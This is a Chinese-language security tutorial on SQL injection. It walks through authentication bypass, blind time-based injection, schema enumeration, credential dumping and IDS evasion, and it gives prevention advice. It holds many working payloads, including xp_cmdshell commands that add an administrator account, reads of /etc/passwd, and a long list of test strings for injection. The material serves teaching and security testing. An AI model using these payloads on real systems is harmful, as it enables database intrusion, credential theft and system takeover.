SQL Injection 的多種攻擊方式與防護討論

SQL Injection 的多種攻擊方式與防護討論

SQL injection 是超過10年以上眾所皆知的攻擊，

但是到現在還是很普遍的攻擊，因為還是有許多疏於防護的應用系統，

這篇文章主要說明7種SQL Injection的攻擊方式與原理。

7種 SQL injection攻擊

SQL injection的攻擊可以分為 7 種類型。如下圖：

1. SQL Injection 運作基本原理

SELECT * FROM users WHERE login = ‘victor‘ AND password = ‘123‘

駭客只要將使用者姓名與密碼更換，就可以巧妙的逃避帳號密碼的檢查

SELECT * FROM users WHERE username = ‘ ‘ or 1=1 – – AND password = ‘anything‘

防護上有個迷失就是將 ‘ 變成 ” 就可以解決這樣的問題，這是錯誤的!

‘ 變成 ” 僅能解決字串，對於數字或是日期的資料還是無法避免 SQL injection。

2. 數值資料的 SQL injection

對於數值之料的運作並不會有 ‘ 或是 “的出現，因此單純的 ‘ 轉換為 “並無法有效的阻止 SQL injection

SELECT * FROM clients WHERE account = 12345678 AND pin = 1111

SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111

3. SQL Injection 測試字元符號

那麼可不可以用字元符號來判斷有沒有 SQL injection呢? 也不可以!

筆者這裡僅列出SQL injection 常會看到的符號。但是駭客有其他的方式可以逃避這樣的偵查。稍後說明。

建議可以用下列等符號在表單與許多參數進行輸入驗證測試。

• ‘ or “
• — or #
• /*…*/
• +
• ||
• %
• ?var1=name&var2=password
• @variable or @@variable
• waitfor delay ‘0:0:10’
• UNION
• ‘ ” ) # || + >
• %09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec, etc)

4. 取得錯誤訊息

接著駭客就會透過特別的錯誤訊息來得知資料庫的版本資訊。MSSQL or MySQL等。

進一步，錯誤訊息可以告訴我們欄位的值。

• ‘ group by columnnames having 1=1 – –
• ‘ union select 1,1,’text’,1,1,1 – –
• ‘ union select 1,1, bigint,1,1,1 – –
• ‘ and 1 in (select ‘text’ ) – –
• ‘ and 1 in (select x from temp) —
• ‘ and 1 in (select substring (x, 256, 256) from temp) —
• ‘ and 1 in (select substring (x, 512, 256) from temp) —
• ‘ drop table temp —

5. Blind Injection

如果無法回傳錯誤訊息，駭客就必須透過 Blind Injection的方式來取得必要資訊。

原理就是利用等待時間。如果條件 A為真，就等待5秒，否則不等待。透過這樣的方式獲取資料庫更進一步的訊息。

‘ and condition and ‘1’=’1

‘; if condition waitfor delay ‘0:0:5’ —

‘; union select if( condition , benchmark (100000, sha1(‘test’)), ‘false’ ),1,1,1,1;

透過 Store procedure

,@variable

?Param1=foo&Param2=bar

PRINT

PRINT @@variable

Database 間的差異

6. 找出使用者權限

可以透過下列SQL 輸入找出使用者目前權限

• ‘ and 1 in (select user ) —
• ‘; if user =’dbo’ waitfor delay ‘0:0:5 ‘–
• ‘ union select if( user() like ‘root@%’, benchmark(50000,sha1(‘test’)), ‘false’ );

7. 發覺資料庫的資料結構

可以透過下列方式輸入得知資料庫 Table, Column等名稱。

• ‘ group by columnnames having 1=1 —
• ‘ union select sum(columnname ) from tablename —
• ‘ and 1 in (select min(name) from sysobjects where xtype = ‘U’ and name > ‘.’) —
• SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘tablename ‘)
• show columns from tablename
• ‘ union select 0, sysobjects.name + ‘: ‘ + syscolumns.name + ‘: ‘ + systypes.name, 1, 1, ‘1’, 1, 1, 1, 1, 1  from sysobjects, syscolumns, systypes where sysobjects.xtype = ‘U’ AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype —
• ‘ and 1 in (select min(name ) from master.dbo.sysdatabases where name >’.’ ) —
• ‘ and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >’.’ ) —

資料庫通常會有系統資料表，如果這些系統資料表沒有設定適當的存取權限，也會被駭客使用。

• MS SQL Server: sysobjects syscolumns systypes sysdatabases
• MySQL: mysql.user mysql.host mysql.db

8. 查詢帳號密碼

• ‘; begin declare @var varchar(8000) set @var=’:’ select @var=@var+’ ‘+login+’/’+password+’  ‘  from users where login>@varselect @var as var into temp end —
• ‘ and 1 in (select var from temp) —
• ‘ ; drop table temp —
• ‘; insert into users select 4,’Victor’,’Chapela’,’victor’,’Pass123′ —

9. 與作業系統互動

如果資料庫權限設定不當，這是最危險的一種攻擊。

因為透過SQL可以執行許多作業系統的指令或是取得機密檔案。

最常見的就是 “xp_cmdshell“的指令。這個指令可以執行作業系統任何指令。

• ‘ union select 1,load_file(‘/etc/passwd’),1,1,1;
• create table temp( line blob );
• load data infile ‘/etc/passwd’ into table temp;
• select * from temp;
• ‘; exec master..xp_cmdshell ‘ipconfig > test.txt’ —
• ‘ and 1 in (select substring(x,1,256) from temp) —
• ‘; declare @var sysname; set @var = ‘del test.txt’; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp —
• ‘ union select 1, (load_file(‘/etc/passwd’)),1,1,1;
• ‘; exec xp_cmdshell ‘net user /add victor Pass123’–
• ‘; exec xp_cmdshell ‘net localgroup /add administrators victor’ —
• ‘; exec master..xp_servicecontrol ‘start’,’FTP Publishing’ —

10. 取得資料庫相關資訊

• ‘ and 1 in (select @@servername ) —
• ‘ and 1 in (select srvname from master..sysservers ) —
• ‘; exec master..xp_cmdshell ‘nslookup a.com MyIP’ —
• ‘; exec master..xp_cmdshell ‘ping MyIP’ —

透過xp_cmdshell的執行下列指令

• Ipconfig /all
• Tracert  myIP
• arp -a
• nbtstat -c
• netstat -ano
• route print

11. 駭客如何躲避 IDS的偵測?

‘ OR 1=1 是最常見的 SQL injection 輸入，因此 IDS 對於這樣的輸入會偵測到並且攔截。

駭客當然不會這樣輸入，駭客會做一些變化，只要輸入 OR 後的條件永遠為True 皆可。舉例如下：

• ‘ OR ‘unusual’ = ‘unusual’
• ‘ OR ‘something’ = ‘some’+’thing’
• ‘ OR ‘text’ = N’text’
• ‘ OR ‘something’ like ‘some%’
• ‘ OR 2 > 1
• ‘ OR ‘text’ > ‘t’
• ‘ OR ‘whatever’ IN (‘whatever’)
• ‘ OR 2 BETWEEN 1 AND 3

對於資安測試來說，也可以透過這些輸入驗證 IDS是否可以有效的偵測這些攻擊。

12. 透過Encoding 的方式逃避IDS

常見 encoding 的方式有

• URL encoding
• Unicode/UTF-8
• Hex enconding
• char() function

13. 透過程式註解逃避檢查

SQL injection安全防護

1. 採用程式語言提供的 Prepared statement來做參數的輸入

• Java EE – use PreparedStatement() with bind variables
• .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
• PHP – use PDO with strongly typed parameterized queries (using bindParam())

2. 盡量使用 Stored Procedure

3. 對於輸入的參數做檢查! 合法字元與輸入的長度等。

4. 最小權限原則。原則上給予需要的最低權限。

5. 對於使用者輸入進行編碼，例如 MySQL

 "   (0x22) --> \"
 %   (0x25) --> \%
 '   (0x27) --> \'
 \   (0x5c) --> \\

資料庫伺服器的防護

• 最小權限原則。
• 移除不必要的 Stored procedure
• 限制 public system tables的權限
• Audit所有的帳號的登入行為
• 移除沒有用到的 network protocol
• 防火牆與 IDS 的佈署

 SQL Injection 練習

對於SQL injection 運作基本原理，可以試著執行下列基本指令。

[pastacode lang=”sql” message=”” highlight=”” provider=”manual”]

-- SQL version: select @@version 
select  [Department].Name from [HumanResources].[Department] 
where [Department].name = 'Engineering' 

select @@version 

select [Department].Name  from [HumanResources].[Department] 
where [Department].name = 'Engineering'  AND 1 = 2
UNION SELECT @@version --

select [Department].Name from [HumanResources].[Department] 
where [Department].name = 'Engineering' 
UNION SELECT @@version

select * from [HumanResources].[Department] 
where [Department].name = 'Executive' 
UNION SELECT @@version,NULL,NULL,NULL

select [Department].Name from [HumanResources].[Department] 
where [Department].name = 'Executive' 
UNION SELECT @@version

select [Department].Name from [HumanResources].[Department] 
where [Department].name = 'Executive' 
AND 1=0 
UNION SELECT @@version

-- Using Data Convert and force error
select [Department].Name from [HumanResources].[Department] 
where [Department].name = 'Executive' 
AND 1 = CONVERT(int,db_name())

-- Using Waitfor delay to know hte SQL version 
select @@version
select substring((select @@version),25,1)
if substring((select @@version),25,1) = 2 waitfor delay '0:0:10'

-- ASCII code
select ascii('r')
select ascii('o')
select ascii('o')
select ascii('t')

[/pastacode]

SQL injection 測試資料

[pastacode lang=”sql” message=”” highlight=”” provider=”manual”]

Statement
'sqlvuln
'+sqlvuln
sqlvuln;
(sqlvuln)
a' or 1=1--
"a"" or 1=1--"
 or a = a
a' or 'a' = 'a
1 or 1=1
a' waitfor delay '0:0:10'--
1 waitfor delay '0:0:10'--
declare @q nvarchar (4000) select @q =
0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A
0
031003000270000
declare @s varchar(22) select @s =
0x77616974666F722064656C61792027303A303A31302700 exec(@s)
0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e
exec(@s)
a'
?
' or 1=1
бе or 1=1 --
x' AND userid IS NULL; --
x' AND email IS NULL; --
anything' OR 'x'='x
x' AND 1=(SELECT COUNT(*) FROM tabname); --
x' AND members.email IS NULL; --
x' OR full_name LIKE '%Bob%
23 OR 1=1
'; exec master..xp_cmdshell 'ping 172.10.1.255'--
'
'%20or%20''='
'%20or%20'x'='x
%20or%20x=x
')%20or%20('x'='x
0 or 1=1
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
 or 0=0 #"
or 0=0 #
' or 1=1--
" or 1=1--
' or '1'='1'--
' or 1 --'
or 1=1--
or%201=1
or%201=1 --
' or 1=1 or ''='
 or 1=1 or ""=
' or a=a--
 or a=a
') or ('a'='a
) or (a=a
hi or a=a
hi or 1=1 --"
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
"hi"") or (""a""=""a"
'hi' or 'x'='x';
@variable
,@variable
PRINT
PRINT @@variable
select
insert
as
or
procedure
limit
order by
asc
desc
delete
update
distinct
having
truncate
replace
like
handler
bfilename
' or username like '%
' or uname like '%
' or userid like '%
' or uid like '%
' or user like '%
exec xp
exec sp
'; exec master..xp_cmdshell
'; exec xp_regread
t'exec master..xp_cmdshell 'nslookup www.google.com'--
--sp_password
\x27UNION SELECT
' UNION SELECT
' UNION ALL SELECT
' or (EXISTS)
' (select top 1
'||UTL_HTTP.REQUEST
1;SELECT%20*
to_timestamp_tz
tz_offset
<>"'%;)(&+
'%20or%201=1
%27%20or%201=1
%20$(sleep%2050)
%20'sleep%2050'
char%4039%41%2b%40SELECT
&apos;%20OR
'sqlattempt1
(sqlattempt2)
|
%7C
*|
%2A%7C
*(|(mail=*))
%2A%28%7C%28mail%3D%2A%29%29
*(|(objectclass=*))
%2A%28%7C%28objectclass%3D%2A%29%29
(
%28
)
%29
&
%26
!
%21
' or 1=1 or ''='
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
a' or 3=3--
"a"" or 3=3--"
' or 3=3
бе or 3=3 --

[/pastacode]

參考資料https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

Victor Chapela: “Advanced SQL Injection” –http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt